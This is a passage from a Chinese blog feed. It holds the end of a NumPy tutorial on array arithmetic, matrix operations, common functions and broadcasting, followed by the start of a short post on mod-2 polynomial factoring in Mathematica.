<li>加减乘除</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl">  <span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">9</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">10</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">+</span> <span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 8, 10, 12],<br>
[14, 16, 6]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 8, 10, 12],<br>
[14, 16, 6]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="o">-</span><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[-6, -6, -6],<br>
[-6, -6, 6]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">subtract</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[-6, -6, -6],<br>
[-6, -6, 6]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="o">*</span><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 7, 16, 27],<br>
[40, 55, 0]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">multiply</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 7, 16, 27],<br>
[40, 55, 0]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="o">/</span><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>i:\python364\lib\site-packages\ipykernel_launcher.py:1: RuntimeWarning: divide by zero encountered in true_divide<br>
&ldquo;&ldquo;&ldquo;Entry point for launching an IPython kernel.</p>
<p>array([[0.14285714, 0.25 , 0.33333333],<br>
[0.4 , 0.45454545, inf]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">divide</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>i:\python364\lib\site-packages\ipykernel_launcher.py:1: RuntimeWarning: divide by zero encountered in true_divide<br>
&ldquo;&ldquo;&ldquo;Entry point for launching an IPython kernel.</p>
<p>array([[0.14285714, 0.25 , 0.33333333],<br>
[0.4 , 0.45454545, inf]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="mi">1</span><span class="o">/</span><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1. , 0.5 , 0.33333333],<br>
[0.25 , 0.2 , 0.16666667]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">**</span> <span class="mf">0.5</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1. , 1.41421356, 1.73205081],<br>
[2. , 2.23606798, 2.44948974]])</p>
<p>除零会有警告</p>
<h3 id="矩阵运算">矩阵运算</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">5</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">2</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">8</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">7</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 矩阵乘法</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">dot</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 32, 35, 42],<br>
[ 68, 80, 102]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">dot</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 32, 35, 42],<br>
[ 68, 80, 102]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 矩阵转置</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">T</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>[[1 2 3][4 5 6]]</p>
<p>array([[1, 4],<br>
[2, 5],<br>
[3, 6]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">transpose</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1, 4],<br>
[2, 5],<br>
[3, 6]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 矩阵的內积</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">dot</span><span class="p">(</span><span class="n">a</span><span class="o">.</span><span class="n">T</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[14, 32],<br>
[32, 77]])</p>
<h3 id="常用函数">常用函数</h3>
<ul>
<li>sqrt()</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 求根</span>
</span></span><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">sqrt</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1. , 1.41421356, 1.73205081],<br>
[2. , 2.23606798, 2.44948974]])</p>
<ul>
<li>power()</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 求幂</span>
</span></span><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">power</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 1, 8, 27],<br>
[ 64, 125, 216]], dtype=int32)</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1, 2, 3],<br>
[4, 5, 6]])</p>
<ul>
<li>sum()</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 对所有元素求和</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">sum</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>21</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">sum</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">axis</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span> <span class="c1">#对没一列元素求和</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([5, 7, 9])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">sum</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="c1">#对没一行元素求和</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([ 6, 15])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 类似的还有mean函数</span>
</span></span><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">mean</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>3.5</p>
<ul>
<li>mean()</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">mean</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">axis</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([2.5, 3.5, 4.5])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">mean</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([2., 5.])</p>
<ul>
<li>uniform()</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span> <span class="c1">#（0,1）之内</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>0.7807819763980599</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">uniform</span><span class="p">(</span><span class="mi">50</span><span class="p">,</span><span class="mi">70</span><span class="p">)</span> <span class="c1"># 指定范围</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>61.458442560252266</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">uniform</span><span class="p">(</span><span class="mi">50</span><span class="p">,</span><span class="mi">70</span><span class="p">,(</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span> <span class="c1">#指定维数</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[59.88385648, 50.59647127, 60.02660835],<br>
[55.62225737, 54.49158301, 68.14669151]])</p>
<ul>
<li>tile</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1, 2, 3],<br>
[4, 5, 6]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">tile</span><span class="p">(</span><span class="n">a</span><span class="p">,(</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span> <span class="c1">#将a作为结构元素，重复3次，形成新数组</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1, 2, 3, 1, 2, 3, 1, 2, 3],<br>
[4, 5, 6, 4, 5, 6, 4, 5, 6]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">tile</span><span class="p">(</span><span class="n">a</span><span class="p">,(</span><span class="mi">3</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1, 2, 3],<br>
[4, 5, 6],<br>
[1, 2, 3],<br>
[4, 5, 6],<br>
[1, 2, 3],<br>
[4, 5, 6]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">tile</span><span class="p">(</span><span class="n">a</span><span class="p">,(</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3],<br>
[4, 5, 6, 4, 5, 6, 4, 5, 6, 4, 5, 6],<br>
[1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3],<br>
[4, 5, 6, 4, 5, 6, 4, 5, 6, 4, 5, 6],<br>
[1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3],<br>
[4, 5, 6, 4, 5, 6, 4, 5, 6, 4, 5, 6]])</p>
<ul>
<li>argsort()</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([[</span><span class="mi">100</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">300</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">       <span class="p">[</span><span class="mi">400</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">60</span><span class="p">]])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">argsort</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="c1"># 默认是进行行排序，返回数组索引</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1, 0, 2],<br>
[2, 1, 0]], dtype=int32)</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">argsort</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">axis</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[0, 0, 1],<br>
[1, 1, 0]], dtype=int32)</p>
<h2 id="广播">广播</h2>
<p>不同大小数组之间的运算叫广播</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="n">br</span><span class="o">&gt;&lt;/</span><span class="n">br</span><span class="o">&gt;</span><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">7</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">8</span><span class="p">,</span><span class="mi">55</span><span class="p">,</span><span class="mi">88</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">3</span><span class="p">,</span><span class="mi">54</span><span class="p">,</span><span class="mi">99</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">8</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>如果要实现 a 的每一行的元素都加上 b,可以这么做：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 循环</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,:]</span> <span class="o">+=</span> <span class="n">b</span> <span class="c1">#注意维数要一致</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[  9,  10,  11],
[ 12,  13,  15],
[ 16,  63,  96],
[ 11,  62, 107]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 用tile函数</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">+=</span> <span class="n">np</span><span class="o">.</span><span class="n">tile</span><span class="p">(</span><span class="n">b</span><span class="p">,(</span><span class="mi">4</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span><span class="line"><span class="cl"><span class="err">···</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">array</span><span class="p">([[</span> <span class="mi">17</span><span class="p">,</span>  <span class="mi">18</span><span class="p">,</span>  <span class="mi">19</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">       <span class="p">[</span> <span class="mi">20</span><span class="p">,</span>  <span class="mi">21</span><span class="p">,</span>  <span class="mi">23</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">       <span class="p">[</span> <span class="mi">24</span><span class="p">,</span>  <span class="mi">71</span><span class="p">,</span> <span class="mi">104</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">       <span class="p">[</span> <span class="mi">19</span><span class="p">,</span>  <span class="mi">70</span><span class="p">,</span> <span class="mi">115</span><span class="p">]])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="err">​```</span><span class="n">python</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 其实可以直接这么做</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">+</span> <span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 25, 26, 27],<br>
[ 28, 29, 31],<br>
[ 32, 79, 112],<br>
[ 27, 78, 123]])</p>
<p>不同维数的数组可以直接操作</p>
<p>这就是 numpy 数组的广播特性</p>
]]></content:encoded>
    </item>
    <item>
      <title>用mathematica求解模2因式分解</title>
      <link>https://hacperme.com/posts/notes/2018-06-14-mathematica_factor_mod_2/</link>
      <pubDate>Thu, 14 Jun 2018 11:30:42 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-06-14-mathematica_factor_mod_2/</guid>
      <description>在求循环码的生成多项式和一致性校验多项式时，需要用到模2因式分解，但是自己数学没学好，一个模2因式分解让我摸不着头脑，不知道从何下手。 幸运的</description>
      <content:encoded><![CDATA[<p>在求循环码的生成多项式和一致性校验多项式时，需要用到模2因式分解，但是自己数学没学好，一个模2因式分解让我摸不着头脑，不知道从何下手。</p>
<p>幸运的是我发现可以用wolfram的mathematica软件来辅助求解，使用Factor函数即可计算模2因式分解。</p>
<p>这是Factor的语法：</p>
<p><img loading="lazy" src="https://steemitimages.com/p/7ohP4GDMGPrUMp8dW6yuJTR9MKNu8P8DCXDU9qmmpmrK7Qn1iFHtcnXf2kcotuXK3Z7MyDusxoTYUDrb97v8wARVfYi3D2rVo9eM" alt="图片.png"  />
</p>
<p>打开mathematica软件试试效果：</p>
<p><img loading="lazy" src="https://steemitimages.com/p/7ohP4GDMGPrUMp8dW6yuJTR9MKNu8P8DCXDU9qmmhxwhSHuMa4JE6rjvmZMmywggvjGRQtQ4ATZFjcDuCzqXWm6agKz5VdRgMUuv" alt="图片.png"  />
</p>
<p>问题解决了？</p>
